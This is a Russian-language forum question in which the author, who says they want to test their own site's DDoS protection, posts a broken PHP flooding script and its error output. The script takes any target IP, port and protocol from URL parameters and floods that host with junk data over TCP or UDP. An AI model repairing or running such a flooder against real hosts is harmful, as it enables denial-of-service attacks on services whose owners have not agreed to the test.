Проверка DDOS защиты сайта самим DDOSом

247
04 марта 2017, 05:52

Написал защиту от DDOS атак на сайте, но теперь хочется проверить ее в действии с другого сервера кидая запросы на свой. Чтобы посмотреть на все ошибки и нужное исправить. Нашел вот такой код, но он не работает, не подскажете, в чем может быть проблема?

while($x++ < 1000) {
    $musor.='X';
}  
$getip = $_GET['ip'];
$getport = $_GET['port'];
$getproto = $_GET['proto']; 
$ipsrv = getprotobyname($getip); //если у нас сайт,получаем его ип.
if($getproto == 'tcp'){
$ip = $ipserv;}else{$ip = 'udp://'.$ipsrv;} //если у нас udp протокол, то адресс будет udp://12.12.12.12
$socket = fsockopen($ip,$getport); //коннектимся к серверу.
while($z++ < 9000) { 
    fwrite($socket,$musor);//отправляем мусор серверу
    fwrite($socket,$musor);//еще раз отправляем.
    fwrite($socket,$musor);//бог любит троицу.
}  

Выдает такие ошибки

Warning: fsockopen(): php_network_getaddresses: getaddrinfo failed: Name or service not known in ... on line 12

Warning: fsockopen(): unable to connect to :80 (php_network_getaddresses: getaddrinfo failed: Name or service not known) in ... on line 12

Warning: fwrite() expects parameter 1 to be resource, boolean given in ... on line 14

Warning: fwrite() expects parameter 1 to be resource, boolean given in ... on line 15

Warning: fwrite() expects parameter 1 to be resource, boolean given in ... on line 16

READ ALSO
неправильно отображается в HTML текст из mysql

неправильно отображается в HTML текст из mysql

пытаюсь вывести на страницу в отдельные блоки данные из таблицы, но если текст немного длиннее то все идёт в одну строку как будто игнорит...

226
Реально ли получить значение URL браузера на PHP?

Реально ли получить значение URL браузера на PHP?

Всем доброго дняЗадача состоит следующая - хочется проверить url, и если человек использует анонимайзер (будет расхождение в хосте) сделать...

283
magento 2 : замена копирайта в админке

magento 2 : замена копирайта в админке

Хочу поменять копирайт в админке magento2x, но переопределение не происходит

259